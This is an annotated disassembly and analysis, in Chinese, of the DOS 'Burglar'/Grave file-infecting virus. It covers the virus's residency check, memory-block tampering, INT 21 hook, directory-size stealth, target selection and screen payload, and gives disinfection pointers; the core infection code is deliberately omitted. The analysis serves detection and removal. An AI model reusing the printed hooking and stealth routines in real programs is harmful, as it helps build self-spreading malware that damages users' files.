Burglar 病毒的分析和防治


病毒介绍:

    Burglar 病毒,因病毒中有字符串 Grave,又称 Grave 病毒,病毒长度为 1150 字节,
所以有的地方又称它为 1150 病毒,它感染DOS的 .EXE 文件,不感染 Windows 的可执行文件
当病毒在内存中的时候,UMB 将无法找到,在运行 Windows 95 时经常引起死机。

病毒分析:

1. 病毒的引入部分
9F6A:0000 E95A03         JMP	035D 
9F6A:0003           90 41 54 20 54-48 45 20 47 52 41 56 45     .AT THE GRAVE
9F6A:0010  20 4F 46 20 47 52 41 4E-44 4D 41 2E 2E 2E         OF GRANDMA...

;由于在病毒中能见到字符串 At the grave of grandma
;所以此病毒又称 Grave 病毒
                         ...

9F6A:035D 90             NOP	 
9F6A:035E 90             NOP	 
9F6A:035F BE0600         MOV	SI,0000 ===>	;本数据 0000 由传染时设置
9F6A:0362 8BFE           MOV	DI,SI 		;解密原文件头
9F6A:0364 E88600         CALL	03ED		;病毒在保存原文件头信息时先加密
9F6A:0367 56             PUSH	SI 		;所以在使用时要先解密

; MOV AX,F078 再执行 INT 21H 是病毒用于检测自己是否驻留内存的标志
;可以以此来判断内存中有无病毒

9F6A:0368 B430           MOV	AH,30
9F6A:036A 80C448         ADD	AH,48
9F6A:036D B0F0           MOV	AL,F0 
9F6A:036F 86E0           XCHG	AH,AL 
9F6A:0371 CD21           INT	21 		;驻留检测
9F6A:0373 0BC0           OR	AX,AX 		;已驻留转 03C8
9F6A:0375 7451           JZ	03C8 

9F6A:0377 BF7777         MOV	DI,7777 
9F6A:037A 90             NOP	 
9F6A:037B 4F             DEC	DI 
9F6A:037C 90             NOP	 
9F6A:037D 90             NOP	 
9F6A:037E 75FA           JNZ	037A

9F6A:0380 1E             PUSH	DS 		;程序 PSP 段地址 - 1 为内存控制块
9F6A:0381 8CC3           MOV	BX,ES 
9F6A:0383 4B             DEC	BX 
9F6A:0384 8EDB           MOV	DS,BX 		;MCB 地址
9F6A:0386 BB0200         MOV	BX,0002 	;是否最后一块 MCB
9F6A:0389 807FFE5A       CMP	Byte Ptr [BX-02],5A	;不驻留
9F6A:038D 7536           JNZ	03C5 

9F6A:038F B95600         MOV	CX,0056		;截取 0560H 字节内存
9F6A:0392 294F01         SUB	[BX+01],CX 	;将此块内存减少 0560H 字节
9F6A:0395 294F10         SUB	[BX+10],CX 
9F6A:0398 8E4710         MOV	ES,[BX+10] 

;由于病毒将最后一块内存控制块打断,造成系统常规内存跟 UMB 分离,
;结果当病毒驻留内存时,用 MEM 或 MI 将看不到 UMB,这也可以用来
;判断内存中是否有病毒

9F6A:039B 33C0           XOR	AX,AX 
9F6A:039D 8ED8           MOV	DS,AX 
9F6A:039F C5878200       LDS	AX,[BX+0082] 
9F6A:03A3 2E8984A700     MOV	CS:[SI+00A7],AX ;截取 INT 21
9F6A:03A8 2E8C9CA900     MOV	CS:[SI+00A9],DS 
9F6A:03AD 0E             PUSH	CS 
9F6A:03AE 1F             POP	DS 
9F6A:03AF 33FF           XOR	DI,DI 
9F6A:03B1 B93505         MOV	CX,0535		;驻留内存
9F6A:03B4 FC             CLD
9F6A:03B5 F3             REPZ	
9F6A:03B6 A4             MOVSB	 
9F6A:03B7 8ED9           MOV	DS,CX 
9F6A:03B9 FA             CLI	 
9F6A:03BA 8C878400       MOV	[BX+0084],ES	;设置新 INT 21 到 CS:0058
9F6A:03BE C78782005800   MOV	Word Ptr [BX+0082],0058 
9F6A:03C4 FB             STI	 
9F6A:03C5 07             POP	ES 
9F6A:03C6 06             PUSH	ES 
9F6A:03C7 1F             POP	DS 
9F6A:03C8 90             NOP	 
9F6A:03C9 5E             POP	SI 
9F6A:03CA 90             NOP	 
9F6A:03CB 8CC3           MOV	BX,ES 		;重定位 CS:IP 及 SS:SP
9F6A:03CD 83C310         ADD	BX,+10 
9F6A:03D0 2E019C0B04     ADD	CS:[SI+040B],BX 
9F6A:03D5 2E019C0304     ADD	CS:[SI+0403],BX 
9F6A:03DA 2E8E940304     MOV	SS,CS:[SI+0403] 
9F6A:03DF 2E8BA40504     MOV	SP,CS:[SI+0405] 
9F6A:03E4 33C0           XOR	AX,AX 
9F6A:03E6 33DB           XOR	BX,BX 		;执行原程序
9F6A:03E8 2EFFAC0904     JMP	FAR CS:[SI+0409]

;======================================================================
;加解密原文件头
;病毒加密源文件头的方法是按字将文件头 000A * 2 字节跟 7776 异或
;这也是解毒时解密原文件头的办法
9F6A:03ED 50             PUSH	AX 
9F6A:03EE 81C70304       ADD	DI,0403
9F6A:03F2 B90A00         MOV	CX,000A 
9F6A:03F5 B87677         MOV	AX,7776 
9F6A:03F8 90             NOP	 
9F6A:03F9 2E3105         XOR	CS:[DI],AX 
9F6A:03FC 47             INC	DI 
9F6A:03FD 90             NOP	 
9F6A:03FE E2F9           LOOP	03F9 
9F6A:0400 58             POP	AX 
9F6A:0401 C3             RET	 
2. 病毒的传播部分

;=========================================================================
;新的 INT 21 之 11,12 功能
;这两个 DOS 功能常用于 DIR 命令
;病毒在送回目录项之前先将染毒文件长度减去 1150 字节
;结果用 DIR 命令看不到染毒文件长度的增加

9F6A:001E 2EFF1EA700     CALL	FAR CS:[00A7] 	;调用原 DOS 功能
9F6A:0023 9C             PUSHF	 
9F6A:0024 3CFF           CMP	AL,FF 		;失败转 0054 退出
9F6A:0026 742C           JZ	0054  
9F6A:0028 90             NOP	 
9F6A:0029 50             PUSH	AX 
9F6A:002A 56             PUSH	SI 
9F6A:002B 1E             PUSH	DS 
9F6A:002C 2E8B362F05     MOV	SI,CS:[052F] 	;取 DTA 地址
9F6A:0031 2E8E1E3105     MOV	DS,CS:[0531] 
9F6A:0036 803CFF         CMP	Byte Ptr [SI],FF 
9F6A:0039 7503           JNZ	003E 		;是否扩展 FCB
9F6A:003B 83C607         ADD	SI,+07          ;是, 转 0054 
9F6A:003E 8A4417         MOV	AL,[SI+17] 	;传染标志
9F6A:0041 241D           AND	AL,1D 
9F6A:0043 3C1D           CMP	AL,1D 
9F6A:0045 750A           JNZ	0051 
9F6A:0047 90             NOP	 
9F6A:0048 816C1D7E04     SUB	Word Ptr [SI+1D],047E 
9F6A:004D 835C1F00       SBB	Word Ptr [SI+1F],+00 
9F6A:0051 1F             POP	DS 		;如果传染
9F6A:0052 5E             POP	SI 		;文件长 - 1150 字节
9F6A:0053 58             POP	AX 
9F6A:0054 9D             POPF	 
9F6A:0055 CA0200         RETF	0002 		;INT 21 返回
;====================================================================
;	新的 INT 21 中断入口
;====================================================================
9F6A:0058 2EC606330500   MOV	Byte Ptr CS:[0533],00 
9F6A:005E 9C             PUSHF	 
9F6A:005F 3D78F0         CMP	AX,F078 	;驻留检测
9F6A:0062 90             NOP	 		;入口  AX = F078
9F6A:0063 7506           JNZ	006B 		;返回  AX = 0000
9F6A:0065 33C0           XOR	AX,AX 
9F6A:0067 9D             POPF	 
9F6A:0068 CF             IRET	 
9F6A:0069 90             NOP	 
9F6A:006A 90             NOP	 
9F6A:006B 90             NOP	 
9F6A:006C 80FC11         CMP	AH,11 		;11,12 功能 (DIR)
9F6A:006F 74AD           JZ	001E 		;转 001E
9F6A:0071 80FC12         CMP	AH,12 
9F6A:0074 74A8           JZ	001E 
9F6A:0076 80FC3D         CMP	AH,3D		;打开文件
9F6A:0079 7442           JZ	00BD
9F6A:007B 80FC43         CMP	AH,43		;取/改文件属性
9F6A:007E 743D           JZ	00BD
9F6A:0080 80FC13         CMP	AH,13		;使用 FCB 删除文件
9F6A:0083 7432           JZ	00B7
9F6A:0085 80FC36         CMP	AH,36		;取磁盘剩余空间
9F6A:0088 742D           JZ	00B7
9F6A:008A 80FC4B         CMP	AH,4B		;执行文件
9F6A:008D 90             NOP			;13/36 功能在磁盘上
9F6A:008E 90             NOP	 		;寻找一个文件传染
9F6A:008F 742C           JZ	00BD 		;3D/43/4B/6C 功能直接传染
9F6A:0091 80FC6C         CMP	AH,6C
9F6A:0094 7427           JZ	00BD
9F6A:0096 80FC1A         CMP	AH,1A
9F6A:0099 750A           JNZ	00A5 		;设置 DTA 地址
9F6A:009B 2E89162F05     MOV	CS:[052F],DX 	;则保存 DTA 地址于 052F
9F6A:00A0 2E8C1E3105     MOV	CS:[0531],DS 
9F6A:00A5 9D             POPF
9F6A:00A6 EAF8401100     JMP	0011:40F8 	;其它则转原 INT 21
9F6A:00AB 90             NOP	 
9F6A:00AC 90             NOP	 
;从以上代码可以看出,病毒在打开文件,执行文件,提交文件,修改文件属性
;取磁盘空间等功能都要进行传染,而这些功能在一个普通文件的执行过程中
;几乎百分百的被用到,造成病毒的传播很快

;=========================================================================
9F6A:00AD 86E0           XCHG	AH,AL 		;病毒调用 INT 21
9F6A:00AF 90             NOP	 
9F6A:00B0 9C             PUSHF	 
9F6A:00B1 2EFF1EA700     CALL	FAR CS:[00A7] 
9F6A:00B6 C3             RET	 
9F6A:00B7 2EC6067E0401   MOV	Byte Ptr CS:[047E],01 ;设置 DIR 传染标志
;==========================================================================
9F6A:00BD 90             NOP	 
9F6A:00BE 50             PUSH	AX 
9F6A:00BF 53             PUSH	BX 
9F6A:00C0 51             PUSH	CX 
9F6A:00C1 52             PUSH	DX 
9F6A:00C2 1E             PUSH	DS 
9F6A:00C3 06             PUSH	ES 
9F6A:00C4 56             PUSH	SI 
9F6A:00C5 57             PUSH	DI 
9F6A:00C6 80FC6C         CMP	AH,6C		;6C 功能文件名入口 DS:SI
9F6A:00C9 7502           JNZ	00CD 		;更改到 DS:DX
9F6A:00CB 8BD6           MOV	DX,SI 
9F6A:00CD 2E803E7E0401   CMP	Byte Ptr CS:[047E],01 
9F6A:00D3 7406           JZ	00DB 		;如果在 DIR 中传染,转 00DB
9F6A:00D5 E87900         CALL	0151		;传染文件
9F6A:00D8 EB5C           JMP	0136 
9F6A:00DA 90             NOP	 
;========================================================================
9F6A:00DB 0E             PUSH	CS 
9F6A:00DC 1F             POP	DS 
9F6A:00DD C606340500     MOV	Byte Ptr [0534],00 
9F6A:00E2 B02F           MOV	AL,2F		;取 DTA 地址
9F6A:00E4 E8C6FF         CALL	00AD 
9F6A:00E7 06             PUSH	ES 
9F6A:00E8 53             PUSH	BX 
9F6A:00E9 B01A           MOV	AL,1A 		;设置新 DTA 到 04E5
9F6A:00EB BAE504         MOV	DX,04E5 
9F6A:00EE E8BCFF         CALL	00AD 
9F6A:00F1 B04E           MOV	AL,4E		;寻找文件 *.*
9F6A:00F3 B92700         MOV	CX,0027 
9F6A:00F6 BA2704         MOV	DX,0427 
9F6A:00F9 E8B1FF         CALL	00AD 
9F6A:00FC 7230           JB	012E 
9F6A:00FE A0FB04         MOV	AL,[04FB] 	;找到的文件
9F6A:0101 241D           AND	AL,1D 		;是否已传染
9F6A:0103 3C1D           CMP	AL,1D 
9F6A:0105 7423           JZ	012A 		;已传染找下一文件
9F6A:0107 833E010500     CMP	Word Ptr [0501],+00 
9F6A:010C 7508           JNZ	0116
9F6A:010E 813EFF04E803   CMP	Word Ptr [04FF],03E8 
9F6A:0114 7214           JB	012A 		;文件 < 03E8 找下一文件
9F6A:0116 C70625050305   MOV	Word Ptr [0525],0503 
9F6A:011C BA0305         MOV	DX,0503 	;0525 为文件名指针
9F6A:011F E82F00         CALL	0151 		;传染文件
9F6A:0122 2E803E340503   CMP	Byte Ptr CS:[0534],03 
9F6A:0128 7404           JZ	012E 		;0534 为传染是否成功
9F6A:012A B04F           MOV	AL,4F 		;如果成功退出
9F6A:012C EBCB           JMP	00F9 		;否则找下一文件
9F6A:012E 5A             POP	DX 
9F6A:012F 1F             POP	DS 
9F6A:0130 9C             PUSHF	 
9F6A:0131 B41A           MOV	AH,1A 		;恢复原 DTA 地址
9F6A:0133 CD21           INT	21 
9F6A:0135 9D             POPF	 
9F6A:0136 5F             POP	DI 
9F6A:0137 5E             POP	SI 
9F6A:0138 07             POP	ES 
9F6A:0139 1F             POP	DS 
9F6A:013A 5A             POP	DX 
9F6A:013B 59             POP	CX 
9F6A:013C 5B             POP	BX 
9F6A:013D 58             POP	AX 
9F6A:013E 2EC6067E0400   MOV	Byte Ptr CS:[047E],00 	;清 DIR 传染标志
9F6A:0144 2E803E330501   CMP	Byte Ptr CS:[0533],01 	;????
9F6A:014A 7502           JNZ	014E 
9F6A:014C 33DB           XOR	BX,BX 
9F6A:014E E954FF         JMP	00A5 
;==================================================================
;传染文件子程序
9F6A:0151 8BF2           MOV	SI,DX 
9F6A:0153 2E89162505     MOV	CS:[0525],DX 
9F6A:0158 90             NOP	 		;此循环为寻找
9F6A:0159 AC             LODSB	 		;全路径文件名中
9F6A:015A 0AC0           OR	AL,AL 		;文件名的起始地址 => 0525
9F6A:015C 740F           JZ	016D 
9F6A:015E 3C5C           CMP	AL,5C		;'\' 
9F6A:0160 7404           JZ	0166 
9F6A:0162 3C3A           CMP	AL,3A		;':' 
9F6A:0164 75F3           JNZ	0159 
9F6A:0166 2E89362505     MOV	CS:[0525],SI 	;0525 为文件名开始指针
9F6A:016B EBEC           JMP	0159
 
9F6A:016D 80FC4B         CMP	AH,4B		;执行文件转 0182
9F6A:0170 90             NOP	 		;
9F6A:0171 740F           JZ	0182 		;
9F6A:0173 817CFB2E45     CMP	Word Ptr [SI-05],452E 	; "E."
9F6A:0178 7507           JNZ	0181 
9F6A:017A 817CFD5845     CMP	Word Ptr [SI-03],4558 	; "EX"
9F6A:017F 7401           JZ	0182 		;扩展名是 .EXE 转传染
9F6A:0181 C3             RET
9F6A:0182 0E             PUSH	CS 		;判断是否传染文件
9F6A:0183 07             POP	ES 
9F6A:0184 2E8B362505     MOV	SI,CS:[0525] 
9F6A:0189 BF0E04         MOV	DI,040E 
9F6A:018C AD             LODSW	 
9F6A:018D B90700         MOV	CX,0007 	;文件名开始为
9F6A:0190 F2             REPNZ			;LC,WH,BT,-F,CW,KT
9F6A:0191 AF             SCASW	 		;的文件不传染
9F6A:0192 7417           JZ	01AB
9F6A:0194 2E8B362505     MOV	SI,CS:[0525] 
9F6A:0199 AC             LODSB	 
9F6A:019A 3C00           CMP	AL,00 
9F6A:019C 740A           JZ	01A8 
9F6A:019E 3C56           CMP	AL,56		;文件名中包括
9F6A:01A0 7409           JZ	01AB 		;V 和 S 字母的不传染
9F6A:01A2 3C53           CMP	AL,53
9F6A:01A4 7405           JZ	01AB 
9F6A:01A6 EBF1           JMP	0199 
9F6A:01A8 E80100         CALL	01AC 		;传染其它文件名的文件
9F6A:01AB C3             RET	 
;======================================================================
;	开始传染可执行文件
;======================================================================
9F6A:01AC 8CDB           MOV	BX,DS 		;设置新 INT 24
9F6A:01AE 33C0           XOR	AX,AX 		;到 CS:042B
9F6A:01B0 8ED8           MOV	DS,AX 
9F6A:01B2 FF369000       PUSH	[0090] 
9F6A:01B6 FF369200       PUSH	[0092] 
9F6A:01BA C70690002B04   MOV	Word Ptr [0090],042B 
9F6A:01C0 8C0E9200       MOV	[0092],CS 
9F6A:01C4 8EDB           MOV	DS,BX 
9F6A:01C6 B84300         MOV	AX,0043 	;取文件属性
9F6A:01C9 E8E1FE         CALL	00AD
9F6A:01CC 1E             PUSH	DS 
9F6A:01CD 52             PUSH	DX 
9F6A:01CE 51             PUSH	CX 
9F6A:01CF 33C9           XOR	CX,CX 		;设置文件属性
9F6A:01D1 B84301         MOV	AX,0143 	;为可读写
9F6A:01D4 E8D6FE         CALL	00AD 
9F6A:01D7 7308           JNB	01E1 
9F6A:01D9 2EFE063405     INC	Byte Ptr CS:[0534]
9F6A:01DE EB65           JMP	0245 
9F6A:01E0 90             NOP	 
9F6A:01E1 B83D02         MOV	AX,023D 	;打开文件
9F6A:01E4 E8C6FE         CALL	00AD
9F6A:01E7 7309           JNB	01F2 
9F6A:01E9 2EFE063405     INC	Byte Ptr CS:[0534] 
9F6A:01EE EB55           JMP	0245 
9F6A:01F0 90             NOP	 
9F6A:01F1 90             NOP	 
9F6A:01F2 93             XCHG	AX,BX
9F6A:01F3 B85700         MOV	AX,0057 	;取文件时间
9F6A:01F6 E8B4FE         CALL	00AD
9F6A:01F9 2E890E2905     MOV	CS:[0529],CX 
9F6A:01FE 52             PUSH	DX 
9F6A:01FF 90             NOP	 
9F6A:0200 0E             PUSH	CS 
9F6A:0201 1F             POP	DS 
9F6A:0202 0E             PUSH	CS 
9F6A:0203 07             POP	ES 
9F6A:0204 B03F           MOV	AL,3F		;读文件头 66H 字节
9F6A:0206 BA7F04         MOV	DX,047F 	;到 047F
9F6A:0209 B96600         MOV	CX,0066
9F6A:020C E89EFE         CALL	00AD 
9F6A:020F A17F04         MOV	AX,[047F] 
9F6A:0212 90             NOP
9F6A:0213 3D5A4D         CMP	AX,4D5A 	;.EXE 文件转 0222
9F6A:0216 90             NOP	 
9F6A:0217 7409           JZ	0222 
9F6A:0219 3D4D5A         CMP	AX,5A4D 
9F6A:021C 90             NOP	 
9F6A:021D 7403           JZ	0222 
9F6A:021F EB14           JMP	0235 		;非 .EXE 文件不传染
9F6A:0221 90             NOP	 
;===================================================================
;传染 .EXE 文件
9F6A:0222 A09304         MOV	AL,[0493] 	;.EXE 文件传染标志
9F6A:0225 3478           XOR	AL,78		;文件头中 IP xor CRC = 78
9F6A:0227 38069104       CMP	[0491],AL
9F6A:022B 7408           JZ	0235 		;未传染转 025D
9F6A:022D EB2E           JMP	025D 
9F6A:022F 90             NOP	 		;传染成功设置传染标志
9F6A:0230 830E29051D     OR	Word Ptr [0529],+1D 	;时间设置为 1D
9F6A:0235 5A             POP	DX 
9F6A:0236 8B0E2905       MOV	CX,[0529] 
9F6A:023A B85701         MOV	AX,0157 	;恢复文件时间
9F6A:023D E86DFE         CALL	00AD 
9F6A:0240 B03E           MOV	AL,3E		;关闭文件
9F6A:0242 E868FE         CALL	00AD 
9F6A:0245 B84301         MOV	AX,0143 	;恢复文件属性
9F6A:0248 59             POP	CX
9F6A:0249 5A             POP	DX 
9F6A:024A 1F             POP	DS 
9F6A:024B E85FFE         CALL	00AD 
9F6A:024E 33C0           XOR	AX,AX 		;恢复原 INT 24
9F6A:0250 8ED8           MOV	DS,AX 
9F6A:0252 8F069200       POP	[0092] 
9F6A:0256 8F069000       POP	[0090] 
9F6A:025A 0E             PUSH	CS 
9F6A:025B 1F             POP	DS 
9F6A:025C C3             RET	 
;======================================================================
;开始传染 .EXE 文件
9F6A:025D BE7F04         MOV	SI,047F 	;SI 指向文件头
9F6A:0260 90             NOP	 
9F6A:0261 C70627050000   MOV	Word Ptr [0527],0000 
9F6A:0267 8B543C         MOV	DX,[SI+3C] 	;取 NE 文件头偏移
9F6A:026A 8B4C3E         MOV	CX,[SI+3E] 
9F6A:026D B80042         MOV	AX,4200 
9F6A:0270 CD21           INT	21 
9F6A:0272 B90200         MOV	CX,0002 	;读出 NE 文件头 2 字节
9F6A:0275 BA2705         MOV	DX,0527 
9F6A:0278 B43F           MOV	AH,3F
9F6A:027A CD21           INT	21 
9F6A:027C 813E27054E45   CMP	Word Ptr [0527],454E 
9F6A:0282 7502           JNZ	0286 		;是 "NE" 新格式文件
9F6A:0284 EBAF           JMP	0235 		;不传染
9F6A:0286 B002           MOV	AL,02 		;4202 功能
9F6A:0288 E8C900         CALL	0354 		;取文件长度
9F6A:028B 83FA06         CMP	DX,+06 		;> 393216 字节不传染
9F6A:028E 77A5           JA	0235 
9F6A:0290 0BD2           OR	DX,DX 
9F6A:0292 7507           JNZ	029B 
9F6A:0294 3D0001         CMP	AX,0100 	;< 256 字节不传染
9F6A:0297 7702           JA	029B 
9F6A:0299 EB9A           JMP	0235 
9F6A:029B 52             PUSH	DX 
9F6A:029C 50             PUSH	AX 
9F6A:029D 8B4404         MOV	AX,[SI+04] 
9F6A:02A0 8B7C02         MOV	DI,[SI+02] 
9F6A:02A3 0BFF           OR	DI,DI 
9F6A:02A5 7401           JZ	02A8 
9F6A:02A7 48             DEC	AX 
9F6A:02A8 B90002         MOV	CX,0200 
9F6A:02AB F7E1           MUL	CX 
9F6A:02AD 03C7           ADD	AX,DI 
9F6A:02AF 83D200         ADC	DX,+00 
9F6A:02B2 5F             POP	DI 
9F6A:02B3 3BF8           CMP	DI,AX		;如果文件有覆盖部分
9F6A:02B5 5F             POP	DI 		;不传染
9F6A:02B6 75E1           JNZ	0299 
9F6A:02B8 3BFA           CMP	DI,DX 
9F6A:02BA 75DD           JNZ	0299 

                         ...

;以下病毒具体传染文件的代码不是本文讨论的对象,故略去 
                         ...
;在传染完成后,病毒转发作部分,此病毒的发作是非恶性的

9F6A:0329 B42C           MOV	AH,2C		;取系统时间
9F6A:032B CD21           INT	21 
9F6A:032D 80F90E         CMP	CL,0E 		;分钟数为 14 则发作
9F6A:0330 751F           JNZ	0351 
9F6A:0332 BE1E04         MOV	SI,041E 	;在屏幕左上角
9F6A:0335 B800B8         MOV	AX,B800 	;打印 Burglar 字样
9F6A:0338 8ED8           MOV	DS,AX 
9F6A:033A 33FF           XOR	DI,DI 
9F6A:033C B90900         MOV	CX,0009 
9F6A:033F 2E8A04         MOV	AL,CS:[SI] 
9F6A:0342 46             INC	SI 
9F6A:0343 8805           MOV	[DI],AL 
9F6A:0345 47             INC	DI 		;属性为加亮闪烁
9F6A:0346 C6058F         MOV	Byte Ptr [DI],8F 
9F6A:0349 47             INC	DI 
9F6A:034A E2F3           LOOP	033F 
9F6A:034C B97777         MOV	CX,7777 	;延时
9F6A:034F E2FE           LOOP	034F 
9F6A:0351 E9DCFE         JMP	0230 
;===================================================================
;移动文件指针子程序
9F6A:0354 33C9           XOR	CX,CX 
9F6A:0356 33D2           XOR	DX,DX 
9F6A:0358 B442           MOV	AH,42
9F6A:035A CD21           INT	21 
9F6A:035C C3             RET	 
9F6A:0402        90 BC 06 81 01 9C-88 01 01 01 01 E7 43 4C    .<.........gCL
9F6A:0410  48 57 54 42 46 2D 57 43-54 4B 00 00 00 00 42 75  HWTBF-WCTK....Bu
9F6A:0420  72 67 6C 61 72 2F 48 2A-2E 2A 00 32 C0 CF 00 00  rglar/H*.*.2@O..
9F6A:0430  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9F6A:0440  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9F6A:0450  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9F6A:0460  00 00 00 00 78 F0 00 00-19 04 0C 00 00 00 BC 15  ....xp........<.
9F6A:0470  BC 15 06 70 A3 10 78 03-8A 17 65 0F 05 00 00
9F6A:047F                                               4D  <..p#.x...e....M
9F6A:0480  5A C4 01 28 00 00 00 02-00 3D 0B FF FF B2 04 84  ZD.(.....=...2..
9F6A:0490  04 7E 89 06 00 B2 04 1C-00 00 00 64 69 65 74 F9  .~...2.....diety
9F6A:04A0  9C EB 09 69 42 0A 00 A8-B8 55 F8 9C 06 1E 57 56  .k.iB..(8Ux...WV
9F6A:04B0  52 51 53 50 0E FC 8C C8-BA 52 07 03 D0 52 BA 79  RQSP.|.H:R..PR:y
9F6A:04C0  06 52 BA BC 04 03 C2 8B-D8 05 0E 03 8E DB 8E C0  .R:<..B.X....[.@
9F6A:04D0  33 F6 33 FF B9 08 00 F3-A5 4B 48 4A 79 EE 8E C3  3v3.9..s%KHJyn.C
9F6A:04E0  8E D8 BE 67 00                                   .X>g.
9F6A:04E5                 01 3F 3F-3F 3F 3F 3F 3F 3F 3F 3F       .??????????
9F6A:04F0  3F 27 0D 00 00 00 12 E0-1E 00 20 FA 99 27 21 67  ?'.....`.. z.'!g
9F6A:0500  59 00 00 56 49 52 2E 4C-53 54 00 45 00 00 00 00  Y..VIR.LST.E....
9F6A:0510  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
9F6A:0520  00 00 00 00 00 38 05 00-00 7D 97 00 00 00 00 80  .....8...}......
9F6A:0530  00 6F 18 00 03 00 00 00-00 00 00 00 00 00 00 00  .o..............
9F6A:0540  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

杀毒要点:

    由于病毒加密原文件头,在解毒时要先将原文件头解密,具体杀毒的步骤见
我提供的以下源程序:





(C) Copyright by LuoYunBin's Win32 ASM Page,http://asm.yeah.net